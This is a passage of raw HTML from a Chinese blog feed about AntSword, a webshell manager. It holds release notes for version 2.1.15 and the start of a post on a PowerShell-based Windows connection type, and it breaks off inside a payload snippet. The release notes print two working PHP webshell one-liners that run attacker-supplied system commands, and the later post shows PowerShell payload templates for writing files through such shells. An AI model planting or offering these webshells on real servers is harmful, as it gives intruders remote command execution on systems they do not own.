400;display: flex;flex-flow: row nowrap;margin: 10px 0px;text-align: left;justify-content: flex-start;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;background-color: rgba(255, 255, 255, 0);margin: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 2px;border-style: solid;border-width: 1px;border-color: rgb(222, 54, 54);align-self: flex-end;box-sizing: border-box;"><section style="color: rgb(222, 54, 54);text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">03</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 10%;max-width: 100%;height: auto;margin: 0px;padding: 2px 2px 2px 7px;border-bottom: 1px solid rgb(222, 54, 54);border-bottom-right-radius: 0px;box-sizing: border-box;"><section style="color: rgb(154, 27, 36);text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">数据管理</strong></p></section></section></section><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;text-align: left;list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style=""><span style="background-color: rgb(255, 255, 255);">优化了编辑 Shell 信息时，URL后缀发生改变后</span>联<span style="background-color: rgb(255, 255, 255);">动修改「<strong>连接类型</strong>」功能</span></p></li><li style="background-color: rgb(255, 255, 255);margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p>优化插件快捷设置, 修正过多快捷设置后对UI影响(Fix #303). 现在最多可设置 8 个常用插件</p></li><li style="background-color: rgb(255, 255, 255);margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;">❗</span></strong><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;">❗</span></strong><strong style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="margin: 0px;padding: 0px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;">❗</span></strong>新增配置选项「<strong>Body 设置为 RAW 模式</strong>」</p></li></ul><p><br/></p><p style="text-align: left;"><span style="font-size: 12px;">勾选该选项后，只会发送 </span><span style="font-size: 12px;color: rgb(255, 104, 39);"><strong>pwd</strong></span><span style="font-size: 12px;"> 键下的内容，不会发送键名（也就是口语中的<strong>密码</strong>）</span></p><p style="text-align: left;"><span style="font-size: 12px;">目前生效的类型有: 「PHPRAW」、「CMDLinux」、「PSWindows」、「JSPJS」</span></p><p><br/></p><p style="text-align: left;"><strong><span style="font-size: 12px;">主要使用的场景如下， 具体有何不同请抓包自行观察:</span></strong></p><p><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 连接类型 CMDLinux, 编码器选择 default 明文</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 其它设置里 勾选「Body 设置为 RAW 模式」后可连接</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span> system(file_get_contents(<span class="code-snippet__string">&#34;php://input&#34;</span>));<span class="code-snippet__meta">?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 与上面作对比</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">// 连接类型 CMDLinux, 密码填 ant, 编码器选择 default 明文</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?php</span> system($_POST[<span class="code-snippet__string">&#34;ant&#34;</span>]);<span class="code-snippet__meta">?&gt;</span></span></code></pre></section><p style="text-align: left;"><strong><span style="font-size: 12px;">值得一提的是，ws:// wss:// 这类 WebSocket 连接会自动启用该选项</span></strong></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><br/></p><section style="font-weight: 400;display: flex;flex-flow: row nowrap;margin: 10px 0px;text-align: left;justify-content: flex-start;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;background-color: rgba(255, 255, 255, 0);margin: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 2px;border-style: solid;border-width: 1px;border-color: rgb(222, 54, 54);align-self: flex-end;box-sizing: border-box;"><section style="color: rgb(222, 54, 54);text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">04</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 10%;max-width: 100%;height: auto;margin: 0px;padding: 2px 2px 2px 7px;border-bottom: 1px solid rgb(222, 54, 54);border-bottom-right-radius: 0px;box-sizing: border-box;"><section style="color: rgb(154, 27, 36);text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">文件管理</strong></p></section></section></section><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;text-align: left;background-color: rgb(255, 255, 255);list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><strong><span style="color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">❗</span>新增 FileHash</strong> 计算目标文件 hash 功能</p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><br/></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;"><span style="font-size: 12px;">该功能目前正在逐步适配所有类型中 , 目前已经适配 PHP/PHP4/PSWindows/CMDLinux/JSP/JSPJS</span><br/></p></li></ul><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><br/></p><section style="font-weight: 400;display: flex;flex-flow: row nowrap;margin: 10px 0px;text-align: left;justify-content: flex-start;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;background-color: rgba(255, 255, 255, 0);margin: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 2px;border-style: solid;border-width: 1px;border-color: rgb(222, 54, 54);align-self: flex-end;box-sizing: border-box;"><section style="color: rgb(222, 54, 54);text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">05</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 10%;max-width: 100%;height: auto;margin: 0px;padding: 2px 2px 2px 7px;border-bottom: 1px solid rgb(222, 54, 54);border-bottom-right-radius: 0px;box-sizing: border-box;"><section style="color: rgb(154, 27, 36);text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">系统设置</strong></p></section></section></section><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;text-align: left;background-color: rgb(255, 255, 255);list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;">优化了新增Core类型时，编码设置解析逻辑, 现在不需要再改该模块的源代码了</p></li><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><span style="color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">❗</span>优化全局代理设置, <strong><span style="color: rgb(255, 104, 39);">代理在设置完后不需要再重启了</span></strong></p></li></ul><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;"><br/></p><section style="font-weight: 400;display: flex;flex-flow: row nowrap;margin: 10px 0px;text-align: left;justify-content: flex-start;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: bottom;width: auto;background-color: rgba(255, 255, 255, 0);margin: 0px;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 2px;border-style: solid;border-width: 1px;border-color: rgb(222, 54, 54);align-self: flex-end;box-sizing: border-box;"><section style="color: rgb(222, 54, 54);text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">06</strong></p></section></section><section style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;min-width: 10%;max-width: 100%;height: auto;margin: 0px;padding: 2px 2px 2px 7px;border-bottom: 1px solid rgb(222, 54, 54);border-bottom-right-radius: 0px;box-sizing: border-box;"><section style="color: rgb(154, 27, 36);text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;">其它</strong></p></section></section></section><ul class="list-paddingleft-1" style="margin: 0px;padding: 0px 0px 0px 1.2em;box-sizing: border-box;width: 545.453px;color: rgb(51, 51, 51);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;caret-color: rgba(0, 0, 0, 0);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 14px;text-align: left;background-color: rgb(255, 255, 255);list-style-type: disc;"><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;">更新纯真IP数据库为 2022/04/20 (<a href="https://github.com/out0fmemory/qqwry.dat)" target="_blank">https://github.com/out0fmemory/qqwry.dat)</a></p></li><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;">升级 superagent 到 6.1.0 (再高的版本需要高版本Electron支持)</p></li><li style="margin: 0px;padding: 0px;clear: both;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;">升级 superagent-proxy 到 v3.0.0</p></li></ul><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;box-sizing: border-box;text-align: left;"><br/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section style="font-weight: 400;text-align: center;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 33%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="1" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=dabfdb7e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy1rwQfCP5mE7Me0J5gPp2UP6hzYh0TmIBiaduHagA3eT42DbTyHYuQCFHBAgAGFh2Pc7oe2iao1NMpQ%2F640%3Fwx_fmt%3Djpeg"/></section></section><section style="font-weight: 400;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin: 10px 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><section style="margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 54px;height: auto;box-sizing: border-box;"><img data-ratio="0.7786666666666666" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=affe1bac&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FlkcJVly3Wy1rwQfCP5mE7Me0J5gPp2UPTHia5MlaSDjEZibQFseWCkAOgrKibweIiczaAA9WyTFHsF4Dcw1bu5jrAQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;margin: 0px 0px 0px 10px;box-sizing: border-box;"><section style="justify-content: center;display: flex;flex-flow: row nowrap;margin: 0px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: auto;vertical-align: top;border-width: 0px;border-radius: 100%;border-style: none;border-color: rgb(62, 62, 62);overflow: hidden;background-color: rgb(118, 209, 223);min-width: 10%;max-width: 100%;flex: 0 0 auto;height: auto;padding: 0px 14px;align-self: flex-start;margin: 0px;box-sizing: border-box;"><section style="color: rgb(255, 255, 255);line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="margin: 0px;padding: 0px;box-sizing: border-box;">长按关注</p></section></section></section></section></section></section><p style="font-weight: 400;box-sizing: border-box;margin-top: 0px;margin-bottom: 0px;"><br/></p>



<p><a href="https://github.com/AntSwordProject/antSword/releases/tag/2.1.15">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1dddc492&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI0MDI5MTQ3OQ%3D%3D%26mid%3D2247484552%26idx%3D1%26sn%3D75ab5e65e77e8a4ccb1d62f3d1fedd99%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 18 Jul 2022 00:18:00 +0800</pubDate>
    </item>
    <item>
      <title>新类型 PSWindows 预览</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484525&amp;idx=1&amp;sn=065cfe093785a05cefbc90e3ba1993c3</link>
      <description>记得在  AntSword新类型 CmdLinux 预览 这篇文章最后立了个 Flag</description>
      <content:encoded><![CDATA[<p>
原创 <span>Medicean</span> <span>2022-06-22 00:00</span> <span style="display: inline-block;">陕西</span>
</p>

<p>记得在  AntSword新类型 CmdLinux 预览 这篇文章最后立了个 Flag</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=01c061e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FlkcJVly3Wy10D6vibEjw3ahsNgqTfVBDxH3jtOqA5FtjYgPMkPzedAuSPiaegx7kw7Iu1J0jjhThaSQlZ11TzAuQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section><strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;"><span style="font-size: 16px;">写在前面</span></strong></section><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">  记得在  </span><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzI0MDI5MTQ3OQ==&amp;mid=2247484254&amp;idx=1&amp;sn=51b8aba9472ffe4ebad7d5153d2d1c6b&amp;chksm=e91c58a6de6bd1b0dc725c985ec3cca4bd9a17451d313870f1f6463fb769d20ff836f3838c83&amp;scene=21#wechat_redirect" textvalue="AntSword新类型 CmdLinux 预览" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" style="font-size: 14px;" data-linktype="2"><span style="font-size: 14px;">AntSword新类型 CmdLinux 预览</span></a><span style="font-size: 14px;"> 这篇文章最后立了个 Flag (Windows 下纯命令执行WebShell的图形化连接) 一直没解决，今天有了个雏形，主要是证明了这个思路可行。</span><br style="white-space: normal;"/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 16px;"><strong>正文</strong></span></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">老规矩，先看视频。</span><span style="font-size: 14px;color: rgb(255, 76, 65);">(<span style="color: rgb(255, 76, 65);font-family: mp-quote, -apple-system-font, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">嫌</span>公众号视频不清晰的，可以点阅读原文去 B 站看 720P 的)。</span><br/></p><section class="channels_iframe_wrp"><mpvideosnap class="js_uneditable custom_select_card channels_iframe videosnap_video_iframe" data-pluginname="videosnap" data-id="export/UzFfAgtgekIEAQAAAAAAs4sWs-mKdgAAAAstQy6ubaLX4KHWvLEZgBPEsIJsEm53IIWDzNPgMIu0hbc40DGBIdBrrEZ-wU-L" data-url="https://findermp.video.qq.com/251/20304/stodownload?encfilekey=S7s6ianIic0ia4PicKJSfB8EjyjpQibPUAXolTEFCvDqf5SmicwicviaWFoDE6apGySic2mUFf5gKtHN31H3tpkRPibiaKmxg8OnzG59qibr9GTWlRdmDCwe8bibLJVrgQg&amp;adaptivelytrans=0&amp;bizid=1023&amp;dotrans=0&amp;hy=SH&amp;idx=1&amp;m=&amp;scene=0&amp;token=x5Y29zUxcibCPaIHLrTmWwt9E1EAIIe867VWbGLfapKqico5eHdiciaLLhIQzCr1CiaQo5Gj7MxfkVxs" data-headimgurl="http://wx.qlogo.cn/finderhead/BA8GZZ2EGwX8holY9n8ib7odvkHJcSibEWIicdwBictVj417fCwbvnL9Pg/0" data-username="v2_060000231003b20faec8c4e78910c1d5cd07e930b07744e71d8f5974ae5a6de631251bc62882@finder" data-nickname="Medicean" data-desc="#AntSword 继 CMDLinux 之后，Windows 下的纯命令执行连接来了" data-nonceid="15693893078553846768" data-type="video" data-width="1280" data-height="720"></mpvideosnap></section><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">看完视频我们来说说具体的实现。想看代码的直接去 (<a href="https://github.com/AntSwordProject/antSword/commit/dc3c1680bae523cd823444dd19933a1a237a2ec2)" target="_blank">https://github.com/AntSwordProject/antSword/commit/dc3c1680bae523cd823444dd19933a1a237a2ec2)</a></span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 14px;">因为 AntSword 的历史原因，数据格式的设定都是为脚本语言来设计的，输出相对比较灵活，所以 CMD 类的 WebShell 在使用 AntSword 时最麻烦的事情就是数据格式的输出了。最开始我是想用 cmd.exe 来完成数据格式的切割和拼接。算了不扯这么多了，反正就是 cmd.exe 麻烦的一匹，最后看上了 Powershell</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;">Powershell 的好处都有啥<br/></p><p><br/></p><ol class="list-paddingleft-1" style="list-style-type: decimal;"><li style="font-size: 15px;font-weight: bold;"><p><strong><span style="font-size: 15px;">丰富的内置模块</span></strong></p></li></ol><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">这个你们应该比我熟太多了，我就不展开了。类比 ls 命令的 Get-ChildItem (简写 gci) ，创建文件时用的 New-Item, 发起 http 请求时的 Invoke-WebRequest 等等，可以极大的方便我们去构造Payload. 除此之外，PowerShell 提供的 Foreach-Object , Select-Object, Where-Object 等操作也是很方便的。</span><br/></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">比如 create_file 可以这样来实现:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">try {</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">  [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(&#39;#{base64::content}&#39;))|New-Item -ItemType File -Force -Path &#39;#{path}&#39; -ErrorAction Stop|Out-Null;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">  &#39;1&#39;;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">}catch{</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">  &#39;0&#39;;</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">}</span></code></pre></section><p><br/></p><p>2.<strong><span style="font-size: 15px;"> 调用 C#/.Net</span></strong></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">这个就有意思多了，因为 PowerShell 的版本原因，有些命令的一些参数在低版本下根本没有，没错我说的就是上面那个 New-Item，在高版本有 -Encoding 参数用来设置写入文件时的字符编码，然而低版本没有，在没有的时候就按系统默认的编码来了。此时就</span><strong><span style="font-size: 14px;color: rgb(255, 76, 65);">很容易因为字符编码的问题导致二进制数据上传出错</span></strong><span style="font-size: 14px;">。</span></p><p><br/></p><p style="text-align: left;"><span style="font-size: 14px;">所以现在写文件的 Payload 长这个样子</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang=""><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" style="box-sizing: border-box;margin: 0px;padding: 0px;">$C=[byte[]] -split (&#39;#{buffer::content}&#39; -replace &#39;..&#39;, &#39;0x$&amp; &#39;);</span></code><code style="white-space:pre-wrap;box-sizing: border-box;margin: 0px;padding: 0px;text-align: left;font-size: 14px;display: flex;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;"><span class="code-snippet_outer" 